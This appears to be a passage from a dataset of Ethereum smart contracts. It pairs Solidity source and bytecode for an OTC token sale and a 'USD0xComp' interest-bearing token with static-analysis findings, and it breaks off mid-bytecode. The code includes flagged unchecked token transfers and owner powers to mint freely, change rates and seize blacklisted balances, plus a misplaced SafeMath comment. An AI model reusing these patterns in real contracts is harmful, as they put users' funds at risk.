OTC client purchased tokens. */ function withdrawClientTokens() public { require(clientTokenBalances[msg.sender] > 0, "No tokens!"); uint256 sendTokens = clientTokenBalances[msg.sender]; clientTokenBalances[msg.sender] = 0; purchaseTimestamp[msg.sender] = block.timestamp + FIVE_MINUTE_SECONDS; //Unlock in 5minutes token.transfer(msg.sender, sendTokens); } /** * @dev Withdraw OTC client ether. */ function withdrawEther() public { require(clientEthBalances[msg.sender] > 0, "No ETH balance!"); uint256 sendEth = clientEthBalances[msg.sender]; clientEthBalances[msg.sender] = 0; payable(msg.sender).transfer(sendEth); } /** * @dev Get eth balance of contract. */ function contractEthBalance() public view returns (uint256) { return address(this).balance; } /** * @dev Get token balance of contract */ function contractTokenBalance() public view returns (uint256) { return token.balanceOf(address(this)); } }
0x60806040526004361061014b5760003560e01c80638da5cb5b116100b6578063d37ee6c01161006f578063d37ee6c01461068a578063e876f4af146106f3578063eab2e10114610758578063f288dc10146107bd578063f88af21d146107e8578063fbe158af146108635761014b565b80638da5cb5b1461048c5780639cd01605146104e35780639d76ea581461053a5780639e9aed6214610591578063c9b0da6a146105bc578063cdf864e8146106215761014b565b80635c02b71e116101085780635c02b71e146103225780635d58ce36146103715780637362377b1461039c57806376755118146103b3578063798053d11461041857806381cf28f51461042f5761014b565b806302dda028146101505780630bd16007146101c65780630e08b0e31461022b57806311aa4c81146102565780633e3b429a1461028157806344c07a9f146102ea575b600080fd5b34801561015c57600080fd5b506101a96004803603604081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b4565b604051808381526020018281526020019250505060405180910390f35b3480156101d257600080fd5b50610215600480360360208110156101e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f10565b6040518082815260200191505060405180910390f35b34801561023757600080fd5b50610240610f28565b6040518082815260200191505060405180910390f35b34801561026257600080fd5b5061026b610f2e565b6040518082815260200191505060405180910390f35b34801561028d57600080fd5b506102d0600480360360208110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f34565b604051808215151515815260200191505060405180910390f35b6103206004803603604081101561030057600080fd5b81019080803590602001909291908035906020019092919050505061119e565b005b34801561032e57600080fd5b5061035b6004803603602081101561034557600080fd5b81019080803590602001909291905050506114dc565b6040518082815260200191505060405180910390f35b34801561037d57600080fd5b506103866114ea565b6040518082815260200191505060405180910390f35b3480156103a857600080fd5b506103b16114f2565b005b3480156103bf57600080fd5b50610402600480360360208110156103d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167a565b6040518082815260200191505060405180910390f35b34801561042457600080fd5b5061042d611692565b005b34801561043b57600080fd5b5061048a6004803603604081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611900565b005b34801561049857600080fd5b506104a1611a1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ef57600080fd5b506104f8611a42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054657600080fd5b5061054f611a68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059d57600080fd5b506105a6611a8e565b6040518082815260200191505060405180910390f35b3480156105c857600080fd5b5061060b600480360360208110156105df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b6f565b6040518082815260200191505060405180910390f35b34801561062d57600080fd5b506106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b87565b604051808215151515815260200191505060405180910390f35b34801561069657600080fd5b506106d9600480360360208110156106ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ba7565b604051808215151515815260200191505060405180910390f35b3480156106ff57600080fd5b506107426004803603602081101561071657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc7565b6040518082815260200191505060405180910390f35b34801561076457600080fd5b506107a76004803603602081101561077b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bdf565b6040518082815260200191505060405180910390f35b3480156107c957600080fd5b506107d2611bf7565b6040518082815260200191505060405180910390f35b3480156107f457600080fd5b506108216004803603602081101561080b57600080fd5b8101908080359060200190929190505050611bfd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561086f57600080fd5b506108b26004803603602081101561088657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c39565b005b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061095b5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6109cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a9057600080fd5b505afa158015610aa4573d6000803e3d6000fd5b505050506040513d6020811015610aba57600080fd5b810190808051906020019092919050505011610b3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f206c6971756964697479206f6e20556e697377617021000000000000000081525060200191505060405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd7724c3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610bf757600080fd5b505afa158015610c0b573d6000803e3d6000fd5b505050506040513d6020811015610c2157600080fd5b810190808051906020019092919050505090506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080821015610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ffe6021913960400191505060405180910390fd5b600081830390506000600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550620151804201600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f39b5b9b85858a6040518463ffffffff1660e01b815260040180838152602001828152602001925050506020604051808303818588803b158015610ec257600080fd5b505af1158015610ed6573d6000803e3d6000fd5b50505050506040513d6020811015610eed57600080fd5b810190808051906020019092919050505050818195509550505050509250929050565b60076020528060005260406000206000915090505481565b60035481565b600f5481565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ff857600080fd5b505afa15801561100c573d6000803e3d6000fd5b505050506040513d602081101561102257600080fd5b810190808051906020019092919050505014156110425760009050611199565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415611099576000915050611199565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd7724c3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b810190808051906020019092919050505090506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508082101593505050505b919050565b600e54811015611216576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e73756666696369656e742045544820766f6c756d6500000000000000000081525060200191505060405180910390fd5b80600f5402821115611290576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45786365737369766520746f6b656e207065722045544800000000000000000081525060200191505060405180910390fd5b34600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054018114611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611fd76027913960400191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611447576001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016003600082825401925050819055505b34600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600f5482029050919050565b600047905090565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4e6f204554482062616c616e636521000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611676573d6000803e3d6000fd5b5050565b600a6020528060005260406000206000915090505481565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4e6f20746f6b656e73210000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061012c4201600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118c157600080fd5b505af11580156118d5573d6000803e3d6000fd5b505050506040513d60208110156118eb57600080fd5b81019080805190602001909291905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b2f57600080fd5b505afa158015611b43573d6000803e3d6000fd5b505050506040513d6020811015611b5957600080fd5b8101908080519060200190929190505050905090565b60086020528060005260406000206000915090505481565b60056020528060005260406000206000915054906101000a900460ff1681565b600b6020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915090505481565b60066020528060005260406000206000915090505481565b600e5481565b60048181548110611c0a57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cfb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611db0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4e6f20666565732100000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544211611e64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5761697420666f7220636c69656e74207769746864726177616c2e000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f9657600080fd5b505af1158015611faa573d6000803e3d6000fd5b505050506040513d6020811015611fc057600080fd5b810190808051906020019092919050505050505056fe42616c616e6365206d75737420657175616c2070757263686173652065746820616d6f756e742e507572636861736520616d6f756e742062656c6f77206d696e20746f6b656e7321a26469706673582212202bce01bc4c059409785abff8e6ef009fe9068cb4a6051c2776ab72b16fa551d564736f6c63430006010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,254
0xcf7ada43dc673c4a2ac66d8122ae25755c089b6a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract BlackList is Ownable { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external view returns (bool) { return isBlackListed[_maker]; } function getOwner() external view returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; emit AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; emit RemovedBlackList(_clearedUser); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract USD0xComp is IERC20, BlackList { mapping(address => uint256) private _balances; mapping(address => uint256) private timeOf; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply= 0; string private _name="USD0x COMPOUND"; string private _symbol="USD0x COMP"; uint interest_updated=0; uint public time=0; uint blockNumber=0; uint public interest_rate=1700000000000000000; uint public _updateReceiver = 1 minutes; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor() { time = block.timestamp; blockNumber = block.number; uint initalSupply=10000*10**18; _mint(msg.sender,initalSupply); timeOf[msg.sender]=time; } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); _balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; emit DestroyedBlackFunds(_blackListedUser, dirtyFunds); } function setReceiverTime(uint secs ) external onlyOwner{ _updateReceiver = secs; } function setInt(uint ints ) external onlyOwner{ interest_rate = ints; } function mkcalc(address src, address dst) internal { uint tempTime = time; if(block.number > blockNumber){ blockNumber = block.number; tempTime = block.timestamp; } time=tempTime; interest_updated = timeOf[src]; if(interest_updated <= 0){ interest_updated = time; timeOf[src] = time; } uint diff = tempTime - interest_updated; uint how_many_mins = uint(diff/60); uint256 no_usdox = _balances[src]; if(no_usdox > 0 && how_many_mins > 0 ){ uint minseconds = how_many_mins * 60; uint256 interestSoFar = uint((((no_usdox * interest_rate ) / 31536000) * minseconds) / 100000000000000000000 ) ; if(interestSoFar > 0){ interest_updated += minseconds; timeOf[src] = interest_updated; _balances[src] += interestSoFar ; _totalSupply += interestSoFar; emit Transfer(address(0),src, interestSoFar); } } //checking receiver side the receiver end no_usdox=0; no_usdox = _balances[dst]; if( no_usdox > 0){ interest_updated = timeOf[dst]; diff = tempTime - interest_updated; if(diff > _updateReceiver ){ //do the calc how_many_mins = uint(diff / 60); uint minseconds = how_many_mins * 60; uint256 interestSoFar = uint((((no_usdox * interest_rate ) / 31536000) * minseconds) / 100000000000000000000 ) ; //uint256 interestSoFar = uint(no_usdox.mul( interest_rate ).div(31536000).mul(how_many_mins*60 ).div( 100000000000000000000 )) ; if(interestSoFar > 0){ interest_updated += minseconds; timeOf[dst] = interest_updated; _balances[dst] += interestSoFar ; _totalSupply += interestSoFar ; emit Transfer(address(0), dst, interestSoFar); } } }else{ timeOf[dst] =tempTime; } } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function timeOfs(address account) public view virtual returns (uint256) { return timeOf[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address dst, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, dst, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, msg.sender, currentAllowance - amount); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(!isBlackListed[msg.sender]); mkcalc(sender, recipient); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function issue(uint256 amount) external onlyOwner{ _mint(msg.sender,amount); } function redeem( uint256 amount) external onlyOwner { address account = msg.sender; require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80638e1c49da116100de578063db006a7511610097578063e4997dc511610071578063e4997dc514610391578063f2fde38b146103a4578063f3bdc228146103b7578063ffc68a5d146103ca57600080fd5b8063db006a7514610322578063dd62ed3e14610335578063e47d60601461036e57600080fd5b80638e1c49da146102af57806395d89b41146102c2578063a9059cbb146102ca578063cbb3d808146102dd578063cc872b66146102e6578063d171cf7a146102f957600080fd5b8063313ce56711610130578063313ce56714610200578063444203111461020f57806359bf1abe1461022257806370a082311461024e578063893d20e8146102775780638da5cb5b1461029c57600080fd5b806306fdde0314610178578063095ea7b3146101965780630ecb93c0146101b957806316ada547146101ce57806318160ddd146101e557806323b872dd146101ed575b600080fd5b6101806103d3565b60405161018d9190610fe0565b60405180910390f35b6101a96101a4366004610f9d565b610465565b604051901515815260200161018d565b6101cc6101c7366004610f0c565b61047b565b005b6101d760095481565b60405190815260200161018d565b6005546101d7565b6101a96101fb366004610f61565b6104ee565b6040516012815260200161018d565b6101cc61021d366004610fc7565b61059d565b6101a9610230366004610f0c565b6001600160a01b031660009081526001602052604090205460ff1690565b6101d761025c366004610f0c565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161018d565b600054610284906001600160a01b031681565b6101cc6102bd366004610fc7565b6105b9565b6101806105d5565b6101a96102d8366004610f9d565b6105e4565b6101d7600b5481565b6101cc6102f4366004610fc7565b6105f1565b6101d7610307366004610f0c565b6001600160a01b031660009081526003602052604090205490565b6101cc610330366004610fc7565b610615565b6101d7610343366004610f2e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101a961037c366004610f0c565b60016020526000908152604090205460ff1681565b6101cc61039f366004610f0c565b610761565b6101cc6103b2366004610f0c565b6107c9565b6101cc6103c5366004610f0c565b61080f565b6101d7600c5481565b6060600680546103e2906110a5565b80601f016020809104026020016040519081016040528092919081815260200182805461040e906110a5565b801561045b5780601f106104305761010080835404028352916020019161045b565b820191906000526020600020905b81548152906001019060200180831161043e57829003601f168201915b5050505050905090565b60006104723384846108c7565b50600192915050565b6000546001600160a01b0316331461049257600080fd5b6001600160a01b038116600081815260016020818152604092839020805460ff191690921790915590519182527f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc91015b60405180910390a150565b60006104fb8484846109e3565b6001600160a01b0384166000908152600460209081526040808320338452909152902054828110156105855760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61059285338584036108c7565b506001949350505050565b6000546001600160a01b031633146105b457600080fd5b600b55565b6000546001600160a01b031633146105d057600080fd5b600c55565b6060600780546103e2906110a5565b60006104723384846109e3565b6000546001600160a01b0316331461060857600080fd5b6106123382610b01565b50565b6000546001600160a01b0316331461062c57600080fd5b33806106845760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161057c565b6001600160a01b038116600090815260026020526040902054828110156106f85760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161057c565b6001600160a01b038216600090815260026020526040812084830390556005805485929061072790849061108e565b90915550506040518381526000906001600160a01b038416906000805160206110f7833981519152906020015b60405180910390a3505050565b6000546001600160a01b0316331461077857600080fd5b6001600160a01b038116600081815260016020908152604091829020805460ff1916905590519182527fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c91016104e3565b6000546001600160a01b031633146107e057600080fd5b6001600160a01b0381161561061257600080546001600160a01b0383166001600160a01b031990911617905550565b6000546001600160a01b0316331461082657600080fd5b6001600160a01b03811660009081526001602052604090205460ff1661084b57600080fd5b6001600160a01b0381166000908152600260205260408120805490829055600580549192839261087c90849061108e565b9091555050604080516001600160a01b0384168152602081018390527f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c6910160405180910390a15050565b6001600160a01b0383166109295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161057c565b6001600160a01b03821661098a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161057c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610754565b3360009081526001602052604090205460ff1615610a0057600080fd5b610a0a8383610bce565b6001600160a01b03831660009081526002602052604090205481811015610a825760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161057c565b6001600160a01b03808516600090815260026020526040808220858503905591851681529081208054849290610ab9908490611035565b92505081905550826001600160a01b0316846001600160a01b03166000805160206110f783398151915284604051610af391815260200190565b60405180910390a350505050565b6001600160a01b038216610b575760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161057c565b8060056000828254610b699190611035565b90915550506001600160a01b03821660009081526002602052604081208054839290610b96908490611035565b90915550506040518181526001600160a01b038316906000906000805160206110f78339815191529060200160405180910390a35050565b600954600a54431115610be2575043600a55425b60098190556001600160a01b0383166000908152600360205260409020546008819055610c2b5760095460088190556001600160a01b0384166000908152600360205260409020555b600060085482610c3b919061108e565b90506000610c4a603c8361104d565b6001600160a01b0386166000908152600260205260409020549091508015801590610c755750600082115b15610d70576000610c8783603c61106f565b9050600068056bc75e2d63100000826301e13380600b5486610ca9919061106f565b610cb3919061104d565b610cbd919061106f565b610cc7919061104d565b90508015610d6d578160086000828254610ce19190611035565b90915550506008546001600160a01b038916600090815260036020908152604080832093909355600290529081208054839290610d1f908490611035565b925050819055508060056000828254610d389190611035565b90915550506040518181526001600160a01b038916906000906000805160206110f78339815191529060200160405180910390a35b50505b506001600160a01b0384166000908152600260205260409020548015610ecc576001600160a01b0385166000908152600360205260409020